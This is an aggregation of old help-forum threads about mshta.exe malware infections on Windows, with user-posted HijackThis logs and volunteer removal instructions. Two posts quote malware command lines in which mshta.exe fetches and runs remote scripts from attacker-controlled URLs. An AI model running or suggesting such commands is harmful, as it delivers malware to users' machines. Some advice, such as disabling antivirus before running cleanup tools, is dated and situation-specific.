Hi,Welcome to Bleeping Computer. My name is m0le and I will be helping you with your log.Please subscribe to this topic, if you haven't already. You can subscribe by clicking the Options box to the right of your topic title and selecting Track This Topic.

Please avoid installing/uninstalling or updating any programs and attempting any unsupervised fixes or scans. This can make helping you impossible.

Please reply to this post so I know you are there.The forum is busy and we need to have replies as soon as possible. If I haven't had a reply after 3 days I will bump the topic and if you do not reply by the following day after that then I will close the topic.Once I receive a reply then I will return with your first instructions.Thanks

Read other 18 answers
RELEVANCY SCORE 36.8

Hello,

I am receiving multiple instances of mshta.exe in my process window after attempting to remove a program folder named "Hotfix" from my computer after inadvertently picking it up from a website. I understand mshta.exe is a valid file, I believe the multiple instances in my process window are a symptom of something that got left behind. Here are my DDS and GMER logs. Thanks!

DDS (Ver_10-11-08.01) - NTFSx86
Run by MINES at 21:38:13.09 on Sun 11/07/2010
Internet Explorer: 7.0.5730.13 BrowserJavaVersion: 1.6.0_19
Microsoft Windows XP Professional 5.1.2600.3.1252.1.1033.18.1526.938 [GMT -7:00]

AV: AntiVir Desktop *On-access scanning enabled* (Updated) {AD166499-45F9-482A-A743-FDD3350758C7}

============== Running Processes ===============

C:\WINDOWS\system32\svchost -k DcomLaunch
svchost.exe
C:\WINDOWS\System32\svchost.exe -k netsvcs
C:\Program Files\Intel\Wireless\Bin\EvtEng.exe
C:\Program Files\Intel\Wireless\Bin\S24EvMon.exe
svchost.exe
svchost.exe
C:\WINDOWS\system32\spoolsv.exe
svchost.exe
C:\WINDOWS\system32\DVDRAMSV.exe
C:\WINDOWS\eHome\ehRecvr.exe
C:\WINDOWS\eHome\ehSched.exe
C:\WINDOWS\system32\svchost.exe -k hpdevmgmt
C:\Program Files\Java\jre6\bin\jqs.exe
C:\Program Files\Intel\Wireless\Bin\RegSrvc.exe
svchost.exe
C:\WINDOWS\sys... Read more

A:Multiple mshta.exe

Hello and Welcome to the forums! My name is Gringo and I'll be glad to help you with your computer problems. Somethings to remember while we are working together.Do not run any other tool untill instructed to do so!Please Do not Attach logs or put in code boxes.Tell me about any problems that have occurred during the fix.Tell me of any other symptoms you may be having as these can help also.Do not run anything while running a fix.In the upper right hand corner of the topic you will see a button called Options. If you click on this in the drop-down menu you can choose Track this topic. By doing this and then choosing Immediate E-Mail notification and then clicking on Proceed you will be advised when we respond to your topic and facilitate the cleaning of your machine.We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.In order for me to see the status of the infection I will need a new set of logs to start with.Please print out or make a copy in notpad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.DeFogger: Please download DeFogger to your desktop.

Double click DeFogger to run the tool.
The ... Read more

Read other 12 answers
RELEVANCY SCORE 36.8

I have run Dr Web and show no virus, but mshta.exe keeps self-propagating. I had CA AV and their suite, but could not live with the system slowdown, and when it did not prevent the problem, I uninstalled it. Dr Web was the only program I could get to unlock my desktop before and it cleaned everything else, but the mshta.exe issue. I have run Trend Micro AV as well in the past.

Here is the HJT log:

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 11:26:09 PM, on 1/1/2011
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\bin\AppleMobileDeviceService.exe
C:\Program Files\Bonjour\mDNSResponder.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\Program Files\Common Files\LightScribe\LSSrvc.exe
C:\Program Files\Netscape Internet Service\ncupdatesvc.exe
C:\Program Files\Analog Devices\SoundMAX\SMAgent.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Webroot\Washer\WasherSvc.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\hpq\HP Wireless Assistant\HP Wireless Assistant.exe
C:\Program Files\HP\HP Software Update\HPWuSchd2.exe
C:\Program Files\iTunes\iTunesHelper.exe
C:\Program Files\iPod\bin\iPodSer... Read more

A:mshta.exe regeneration

Read other 10 answers
RELEVANCY SCORE 36.8

I think I have a problem with a file hiding as mshta.exe. There's 10 to 20 instances of the file running and when I shut it down it restarts on its own.

Using Process Explorer I can see that the command line is mshta.exe http://funnybeesshow.com/sdjfh.php?dsfgsf=856984162357202

I ran HijackThis and hopefully attached the file right. I'd like some advice if I do have a problem with this file and what I should do.
 

Read other answers
RELEVANCY SCORE 36.8

Pasting in content from another post. ~ OBI have been having some computer issues, with something constantly running in the background which is causing my computer to lag severely. I opened task manager in order to close some of the items I already knew about, and discovered that mshta.exe was running multiple versions of itself (along with some other applications). I'm currently running Windows XP home version 2002 service pack 3, on a Lenovo ThinkCentre (built by IBM); Celeron CPU 2.80GHz; 2.99GB RAM. I would greatly appreciate it if someone could help me with this, as I'm not sure how to verify the legitimate programs from the ad/spy/malware ones. Also, I know there was another post about the same type of problem, but when I went back to try and post there, I couldn't find it at all, which is the only reason I started a new topic.Here are the screen shots I took of the task manager in case it helps:End of added information. Note, wicky unable to create GMER. ~ OBDDS (Ver_10-11-26.01) - NTFSx86 Run by Wiked at 4:23:21.98 on 26/11/2010Internet Explorer: 7.0.5730.13Microsoft Windows XP Home Edition 5.1.2600.3.1252.1.1033.18.3063.2002 [GMT -8:00]AV: avast! antivirus 4.8.1368 [VPS 101125-2] *On-access scanning enabled* (Updated) {7591DB91-41F0-48A3-B128-1A293FD8233D}============== Running Processes ===============C:\WINDOWS\system32\svchost -k DcomLaunchsvchost.exeC:\WINDOWS\System32\svchost.exe -k netsvcssvchost.exesvchos... Read more

A:mshta.exe problem

Hello and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far.Upon completing the steps below another staff member will review and take the steps necessary with you to get your machine back in working order clean and free of malware.If you have already posted a DDS log, please do so again, as your situation may have changed.Use the 'Add Reply' and add the new log to this thread.Thanks and again sorry for the delay.We need to see some information about what is happening in your machine. Please perform the following scan:Download DDS by sUBs from one of the following links. Save it to your desktop.DDS.scrDDS.pifDouble click on the DDS icon, allow it to run.A small box will open, with an explaination about the tool. No input is needed, the scan is running.Notepad will open with the ... Read more

Read other 20 answers
RELEVANCY SCORE 36.8

mshta.exe
Dell dimension 2400
MS XP, sp3, intel pentium 4 2.8 gHz, 512 RAM, Intel 82845G/ gl/ge/pe/gv graphics controller.

Hello guys. 2 weeks ago I got the vundo thing and I thought I'd got around it by creating another user account with admin status and updating Superantispyware, Spybot, Removeit, Ccleaner and AVG free. Then deleting my original account. I lost all my contacts in OE but it was worth it for my other data. I then created another user account in case it happened again. It seemed to work but what I found was after leaving the computer for five minutes I had to log on again, so I went to Users to see if I could sort it out when Comodo instructed me that mshta.exe was wanting to take a copy of my user accounts so I've ended up here for your help if you please. I've read the other posts and have got hijack this' log for your perusal. Thankyou.
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 12:33:00 PM, on 6/27/2008
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16674)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Windows Defender\MsMpEng.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Lavasoft\Ad-Aware 2007\aawservice.exe
C:\WINDOWS\system32\spoolsv.exe
C:\PROGRA~1\AVG\AVG8\avgwdsvc.exe
C:\Program F... Read more

A:Is mshta.exe dangerous

Your Java is out of date. Older versions have vulnerabilities that malware can use to infect your system. Please follow these steps to remove older version of Java components and upgrade the application. Beware it is NOT supported for use in 9x or ME and probably will not install in those systems

Upgrading Java:

Download the latest version of Java Runtime Environment (JRE) 6 Update 7.
Scroll down to where it says "The J2SE Runtime Environment (JRE) allows end-users to run Java applications".
Click the "Download" button to the right.
Select your Platform and check the box that says: "I agree to the Java SE Runtime Environment 6 License Agreement.".
Click on Continue.
Click on the link to download Windows Offline Installation (jre-6u7-windows-i586-p.exe) and save it to your desktop. Do NOT use the Sun Download Manager..
Close any programs you may have running - especially your web browser.
Go to Start > Control Panel, double-click on Add/Remove programs and remove all older versions of Java.
Check any item with Java Runtime Environment (JRE or J2SE) in the name.
Click the Remove or Change/Remove button.
Repeat as many times as necessary to remove each Java version.
Reboot your computer once all Java components are removed.
Then from your desktop double-click on the download to install the newest version.

Scan mshta.exe here: http://virusscan.jotti.org/ if you want to check it.
 

Read other 3 answers
RELEVANCY SCORE 36.8

Trying to get rid of that pesky mshta.exe spyware/bug whatever? This guy sent me in the right direction. funny...

hxxp://answers.yahoo.com/question/index?qid=20091118101336AABqMIh

Turns out there were twenty or so Scheduled Tasks running mshta.exe at one hour intervals.

Thats why killing the processes seemed to temporarily fix the issue. At least until the next scheduled task that invokes it again.
--Check your Scheduled Tasks in Control Panel--

A:mshta.exe removal

Hello,Please follow the instructions in ==>This Guide<==. If you cannot complete a step, skip it and continue.Once the proper logs are created, then make a NEW TOPIC and post it ==>HERE<== Please include a description of your computer issues and what you have done to resolve them.If you can produce at least some of the logs, then please create the new topic and explain what happens when you try to create the log(s) that you couldn't get. If you cannot produce any of the logs, then still post the topic and explain that you followed the Prep. Guide, were unable to create the logs, and describe what happens when you try to create the logs.Orange Blossom

Read other 1 answers
RELEVANCY SCORE 36.8

Hi guys,

I have pre read about this and ye here is the log,
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 12:28:29 PM, on 12/6/2010
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.5730.0013)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\PROGRA~1\AVG\AVG10\avgchsvx.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\rundll32.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\RUNDLL32.EXE
C:\WINDOWS\RTHDCPL.EXE
C:\Program Files\Common Files\Java\Java Update\jusched.exe
C:\Program Files\Brownie\BrstsWnd.exe
C:\Program Files\AVG\AVG10\avgtray.exe
C:\Program Files\Steam\steam.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\AVG\AVG10\Identity Protection\agent\bin\avgidsmonitor.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
C:\Program Files\AVG\AVG10\avgwdsvc.exe
C:\Program Files\Spyware Doctor\BDT\BDTUpdateService.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\WINDOWS\system32\nvsvc32.exe
C:\Program Files\Spyware Doctor\pctsAuxs.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\AVG\AVG10\Identity Protection\Agent\Bin\AVGIDSAgent.exe
C:\Program Files\AVG\AVG10\avgnsx.exe
C:\Program Files\AVG\AVG10\avgemcx.exe
C:\Program Files\Common Files\Real\Update_OB\realsched.exe
C:\PROGRA~1\AVG\AVG10\avgrsx.exe
C:\Program ... Read more

A:Mshta.exe infection

Read other 16 answers
RELEVANCY SCORE 36.8

My Virus scanner kept popping up w/ a message saying that the Mshta.exe file in the System folder was performing suspicious activities. I kept getting pop-up windows that I could not close (w/o Ctrl-Alt-Delete) and IE crashing. Finally I deleted the file. After deleting I noticed that IE would not allow any links that opened in pop-ups to load and IE would crash every 5-10 mins. I looked up Mshta.exe and found that I need it... anyone know how to recover the program or get it again?

Someone told me to run Hijack This. These are the results:

Logfile of HijackThis v1.97.7
Scan saved at 10:54:53 PM, on 3/26/04
Platform: Windows 98 SE (Win9x 4.10.2222A)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\SYSTEM\KERNEL32.DLL
C:\WINDOWS\SYSTEM\MSGSRV32.EXE
C:\WINDOWS\SYSTEM\MPREXE.EXE
C:\WINDOWS\SYSTEM\mmtask.tsk
C:\PROGRAM FILES\MCAFEE.COM\VSO\MCVSSHLD.EXE
C:\WINDOWS\SYSTEM\MSTASK.EXE
C:\WINDOWS\SYSTEM\WMIEXE.EXE
C:\WINDOWS\SYSTEM\DDHELP.EXE
C:\WINDOWS\EXPLORER.EXE
C:\WINDOWS\SYSTEM\SYSTRAY.EXE
C:\PROGRAM FILES\MCAFEE.COM\AGENT\MCAGENT.EXE
C:\PROGRAM FILES\MCAFEE.COM\VSO\MCVSESCN.EXE
C:\PROGRAM FILES\COMMON FILES\UPDMGR\UPDMGR.EXE
C:\WINDOWS\SYSTEM\PSTORES.EXE
C:\WINDOWS\DESKTOP\DOWNLOADS\HIJACKTHIS.EXE

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://server224.smartbotpro.net/7search/?hkcu
R1 - HKCU\Software\Microsoft\Internet Explorer\Search,SearchAssistant = http://z21111.sfux.com/searchbar.html
R0 - HKLM\Software\Microsof... Read more

A:I deleted Mshta.exe... need help.

You could try running sfc /scannow to restore the deleted file. Make sure you have your Windows installation CD handy as you may be prompted for it.

1) Click on "Start" button
2) Select "Run" from menu
3) in "Run" window enter "sfc /scannow" (without quotes) and when prompted insert Windows CD
 

Read other 2 answers
RELEVANCY SCORE 36.8

When I try to shut down my computer, I get a "MSHTA.exe Program not responding error". I have to click end now. I have read a lot about how important this program is to the OS. How can I get this to stop popping up when I shut down. My computer is slower so I think there is a problem with this utility. Any advise?
 

A:mshta.exe error

Here's what AnswersThatWork has to say about it:

...if there are bugs in the .HTA files it was running, MSHTA will sometimes not terminate when the .HTA application has already completed, and will consume significant amounts of resources. When this happens, doing an End Task on MSHTA solves the problem (only do so if you are absolutely certain that nothing else that needs MSHTA is running).

So, as a workaround, when your computer slows down and/or right before you shut down, open Task Manager (right click Taskbar, left click Task Manager), go to the Processes tab, click once on mshta.exe to select it, click the "End Task button.

That will not remove mshta nor disable it permanently. It will start up next time it's needed but when you access the HTA application causing the problem (whatever it is), you'll probably have to manually end mshta.exe each time.
 

Read other 1 answers
RELEVANCY SCORE 36.8

Hello all, I have a problem with mshta.exe. I was surfing the net using IE7 and suddenly got a number of popups. I switched to Firefox, scanned with Avira and Malwarebytes and Spybot and thought i removed the problems. However, I have started to notice that mshta.exe appears in my Task Manager. I've built several XP computers in the past and I have never run into this program before. However, what bothered me was that there are numerous examples of it at one time. I just checked as I am writing this, and there are now 10+ mshta.exe processes running, all under "SYSTEM" and are taking approx 2,600k of memory apiece. I downloaded HTAStop, but this has not solved the problem. When HTAStop is enabled, the mshta process seems capped at 2,600k of memory. When HTAStop is disabled, the memory usage jumps to 12,000k + each. These processes haven't directly impeded my system's performance, but they are eating my memory. I would like to get to the bottom of the problem asap. I have read this post from a user who seems to have had the same problem as me, but he didn't post a full solution unfortunately. Mshta postAny help would be appreciated!

A:Help please - mshta.exe possible trojan?

Hello. I am PropagandaPanda (Panda or PP for short), and I will be helping you.Disable Realtime ProtectionAntimalware programs can interfere with ComboFix and other tools we need to run. Please temporarily disable all realtime protections you have enabled. Refer to this page, if you are unsure how.Download and Run ComboFixIf you have already run ComboFix, delete your copy and download a new one. If the computer in question is unable to download ComboFix, transfer it using a removable media (CDs, flash drive).Download Combofix by sUBs from any of the links below, and save it to your desktop.Link 1, Link 2, Link 3 Close/disable all anti-virus and anti-malware programs so they do not interfere with the running of ComboFix. Refer to this page if you are not sure how.Double click on ComboFix.exe and follow the prompts. If you are using Windows Vista, right click the icon and select "Run as Administrator". You will not recieve the prompts below if you are not using Windows XP. ComboFix will check to see if you have the Windows Recovery Console installed.If you did not have it installed, you will see the prompt below. Choose YES.
When the Recovery Console has been installed, you will see the prompt below. Choose YES.
When finished, ComboFix will produce a report for you. Please post the contents of the log (C:\ComboFix.txt).Leave your computer alone while ComboFix is running. ComboFix will restart your computer if malware is found; allow it to do so.In your next reply include:-th... Read more

Read other 46 answers
RELEVANCY SCORE 36.8

I've got no idea where this came from since I'm usually so careful.

I was just browsing merrily when something popped up masquerading as Windows Security Centre telling me I had this problem or that problem but I just ignored it. Task Manager revealed it was mshta.exe, oddly there was another process called rnaesmcwxo.tmp as well.

Then a load of virus warnings from NOD32 popped up, NOD32 was quarantining this virus and that. I guess that this mshta thing is downloading viruses to my computer.

I closed mshta through task manager and went on my way, but then I got a BSOD with the message DRIVER_IRQL_NOT_LESS_OR_EQUAL. Haven't updated or changed drivers recently. It was definitely caused by the activities of mshta.exe.

Then I booted in safe mode and ran a-squared and malwarebytes as well, one after the other. They found some stuff and I thought that was that.

However, mshta.exe just came up again. A load more virus warnings. Another BSOD, different reason though. I've started up again but now I'm just waiting for mshta and another BSOD to pop up again.

Here's my hijackthis log, but the virus thing isn't currently running, though mshta.exe currently is. I'll see if I can quickly jam a log on when it is running before I get a BSOD.

-------------------------------------------------------

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 18:16:58, on 17/07/2009
Platform: Windows Vista SP1 (WinNT 6.00.1905)
MSIE: Internet Explorer ... Read more

A:Problem with mshta.exe

Oh dear. Now I've got a-squared running, it keeps informing me that Firefox is trying to connect to some hosts it wouldn't recommend connecting to.

It's also popped up with a few warnings of programs trying to connect to the internet.

I read around and I've done what I think I'd be asked to do next.

Here's the uninstall list thing from Hijack this:

------------------------------------------
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
2007 Microsoft Office Suite Service Pack 1 (SP1)
4oD
7-Zip 4.65
Adobe AIR
Adobe AIR
Adobe Flash Player 10 Plugin
Adobe Flash Player ActiveX
Any Audio Converter 1.1.0
Apple Software Update
AptiTunes
a-squared Anti-Malware 4.5
Audiosurf
Avanquest update
BBC iPlayer Desktop
Call of Duty(R) ... Read more

Read other 2 answers
RELEVANCY SCORE 36.8

haiz for some reason that is a pop up of porn evey time i start my com and i can only ''close'' it by end process

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 9:44:59 AM, on 10/10/2010
Platform: Windows 7 (WinNT 6.00.3504)
MSIE: Internet Explorer v8.00 (8.00.7600.16385)
Boot mode: Normal
Running processes:
C:\Program Files (x86)\TOSHIBA\ConfigFree\NDSTray.exe
C:\Program Files (x86)\Veoh Networks\VeohWebPlayer\veohwebplayer.exe
C:\Program Files (x86)\PPStream\PPSAP.exe
C:\Users\Alan\AppData\Local\Google\Update\GoogleUpdate.exe
C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe
C:\Program Files (x86)\McAfee Security Scan\2.0.181\SSScheduler.exe
C:\Program Files (x86)\QuickTime\QTTask.exe
C:\Program Files (x86)\PPStream\PPStream.exe
C:\Program Files (x86)\Common Files\Real\Update_OB\realsched.exe
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
C:\Program Files (x86)\Hotspot Shield\bin\openvpntray.exe
C:\Program Files (x86)\TOSHIBA\ConfigFree\CFSwMgr.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbarUser_32.exe
C:\windows\SysWow64\Macromed\Flash\FlashUtil10e.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Alan\Downloads\HiJackThis.exe
F2 - REG:system.ini: UserInit=C:\windows\SysWOW64\userinit.exe,
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files (x86)\Common... Read more

Read other answers
RELEVANCY SCORE 36.8

A while ago a popup began appearing from a file named "mshta.exe". The file is located in C:\Windows\SysWOW64 and as far as i know it shouldn't be there.
In my last thread i tried to remove the problem with "MiniToolBox, MalwareBytes, AdwCleaner and Junkware Removal Tool" but that didn't work.
 
 
I've run a scan in the program "FRST" 
logs is in the attachments
 
- Kroghm

Read other answers
RELEVANCY SCORE 36.8

Hello!
My problem is that when I try to mount a img-file with daemontools I get this mshta.exe error,0x01fb13f4 referred to 0x0325e000 bla bla memory could not be read. And when I try to reinstall xp I get a "hardware malfunction message". I've tried memtest,Maxtor powermax,clear cmos,remove dvd,soundcard,router,disable network,change memorysticks,chkdsk,kapersky-avg-panda-nod-vundo-spybot-adaware scan.Changed every driver possible. Everything I've used reported no problems whatsoever. I'm going slightly mad soon. Here is my hijack log:

Logfile of HijackThis v1.99.1
Scan saved at 00:28:40, on 2007-01-11
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.5730.0011)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program\DELADE~1\Stardock\SDMCP.exe
C:\WINDOWS\Explorer.EXE
C:\Program\Intel\Intel Matrix Storage Manager\iaantmon.exe
C:\Program\Delade filer\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\Program\Eset\nod32krn.exe
C:\WINDOWS\system32\oodag.exe
C:\WINDOWS\CTHELPER.EXE
C:\WINDOWS\system32\RunDLL32.exe
C:\Program\DAEMON Tools\daemon.exe
C:\Program\Java\jre1.5.0_10\bin\jusched.exe
C:\Program\Logitech\SetPoint\SetPoint.exe
C:\Program\Stardock\ObjectDock\ObjectDock.exe
C:\Program\Delade filer\Logitech\khalshared\KHALMNPR.EXE
C:\WINDOWS... Read more

Read other answers
RELEVANCY SCORE 36.8

Yesterday, I noticed a few instances of mshta.exe running in my task manager. They fluctuate from 1 to over 10. There are also sometimes 1 or 2 iexplore.exe processes running under SYSTEM (I use Firefox). I scanned with Malwarebytes' Anti Malware yesterday, and it found quite a bit of infections, however, I'm still having the same problem. It found 4 infections of Backdoor.bot, 3 infections of Stolen.data, 3 infections of Trojan.fakealert, 1 infection of Malware.trace, and 1 infection of Hijack.Userinit. Thank you very much!

A:Mshta.exe infection

Hello and welcome. The legitimate Mshta.exe will be found at C:\WINDOWS\System32\mshta.exe Verify the disk location to make sure it is not malware related. Quite often virus writers use similiar names or place the same names in other folders in an attempt to fool you into thinking it is a good file. This mshta.exe file is a critical Windows file, it is used to open hta file types.Next run ATF and SAS: If you cannot access Safe Mode,run in normal ,but let me know.Note: On Vista, "Windows Temp" is disabled. To empty "Windows Temp" ATF-Cleaner must be "Run as an Administrator".From your regular user account..Download Attribune's ATF Cleaner and then SUPERAntiSpyware , Free Home Version. Save both to desktop ..DO NOT run yet.Open SUPER from icon and install and Update itUnder Scanner Options make sure the following are checked (leave all others unchecked):Close browsers before scanning.Scan for tracking cookies.Terminate memory threats before quarantining.Click the "Close" button to leave the control center screen and exit the program. DO NOT run yet.Now reboot into Safe Mode: How to enter safe mode(XP)Using the F8 MethodRestart your computer. When the machine first starts again it will generally list some equipment that is installed in your machine, amount of memory, hard drives installed etc. At this point you should gently tap the F8 key repeatedly until you are presented with a Windows XP Advanced Options menu. Selec... Read more

Read other 26 answers
RELEVANCY SCORE 36.8

I have been having some computer issues, with something constantly running in the background which is causing my computer to lag severely. I opened task manager in order to close some of the items I already knew about, and discovered that mshta.exe was running multiple versions of itself (along with some other applications). I'm currently running Windows XP home version 2002 service pack 3, on a Lenovo ThinkCentre (built by IBM); Celeron CPU 2.80GHz; 2.99GB RAM. I would greatly appreciate it if someone could help me with this, as I'm not sure how to verify the legitimate programs from the ad/spy/malware ones. Also, I know there was another post about the same type of problem, but when I went back to try and post there, I couldn't find it at all, which is the only reason I started a new topic.Here are the screen shots I took of the task manager in case it helps:

A:mshta.exe problem

Please follow the Preparation Guide For Use Before Using Malware Removal Tools and Requesting Helpand then create a new topic in theVirus, Trojan, Spyware, and Malware Removal Logs ForumPlease let us know when you have successfully posted to the above forum, by replying to this topic again.Please be patient: There is a considerable backlog of work for the helpers in the Malware Removal Logs Forum.Thank you, and good luck with your logs.

Read other 4 answers
RELEVANCY SCORE 36.8

Hello,
My computer was recently infected with the Mshta virus/worm,and while reading through these forums I found that one user went into C:WINDOWS:TASKS to disable the task,which is what I did..and it worked for disabling the multiple instances of that task showing up in task manager,my question however is Is there still a behind the scenes threat?
My computer still runs slow,especially while browsing....so I am posting a Hijack This log here for someone to check out..If this is not applicable I apologize in advance

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 2:56:45 PM, on 10/3/2011
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
c:\Program Files\Microsoft Security Client\Antimalware\MsMpEng.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\ig... Read more

A:Mshta virus

this must be the Rodney Dangerfield of posts

Read other 4 answers
RELEVANCY SCORE 36.8

Hey everyone,

I need your help, the process mshta.exe keeps multiplying in my tasks list. Its really bad just after a reboot or when the computer goes into screensaver mode. I seems to adding a new one almost every hour. I used "Process Explorer" and found the following on the command line for EACH mshta.exe process:

mshta.exe http://91.188.59.16/77t.php?olala=4628235011231552

I also did a search and found the following locations of mshta.exe:

C:\WINDOWS\ie7
C:\WINDOWS\Prefetch
C:\WINDOWS\SYSTEM32 (file size: 44.5 KB (45,568 bytes)(
C:\WINDOWS\SYSTEM32\en-us
C:\WINDOWS\SoftwareDistribution\Download\9866fb57abdc0ea2f5d4e132d055ba4e (file size: 28.5 KB (29,184 bytes))
While the mshta.exe was still in the task list (before killing the processes) I ran a HijackThis scan. Here is the log.

Logfile of HijackThis v1.99.1
Scan saved at 7:28:19 PM, on 11/3/2010
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.5730.0013)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\BitDefender\BitDefender 2011\vsserv.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Bonjour\mDNSResponder.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\Program Files\Common Files\LightScribe\LSSrvc.... Read more

A:mshta.exe keeps multiplying.

Read other 16 answers
RELEVANCY SCORE 36.8

Dear Tech Support Guys,

let me just say first the info you give on this site and your help means they should bottle your blood.

I have an annoying pop up which shows up overlaying the pane I am currently viewing (unless I am typing or clicking the cursor) of which it will appear behind the current pane.

It showed up after a browsing session of my girlfriends after viewing japanese language websites.

The particular annoying pop up is 1/4 screen size, with no max/minimise or restore down tabs, just a close tab in top right hand corner.

In tracing it back to task manager processes I have found it to be located in the mshta.exe location.

I have been loath to tamper with it for fear of losing or changing something important.

I downloaded hijackthis after reading some similar threads about similar problems. The resulting log is below:
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 11:05:22 AM, on 4/25/2010
Platform: Windows Vista SP2 (WinNT 6.00.1906)
MSIE: Internet Explorer v8.00 (8.00.6001.18904)
Boot mode: Normal
Running processes:
C:\Windows\system32\Dwm.exe
C:\Windows\SYSTEM32\WISPTIS.EXE
C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe
C:\Windows\Explorer.EXE
C:\Windows\system32\taskeng.exe
C:\Windows\System32\WLTRAY.EXE
C:\Program Files\Norton Internet Security\Engine\16.8.0.41\ccSvcHst.exe
C:\Program Files\Norton Save and Restore\Agent\VProTray.exe
C:\Program Files\Dell Webcam\Dell Webcam Central\WebcamDell.exe
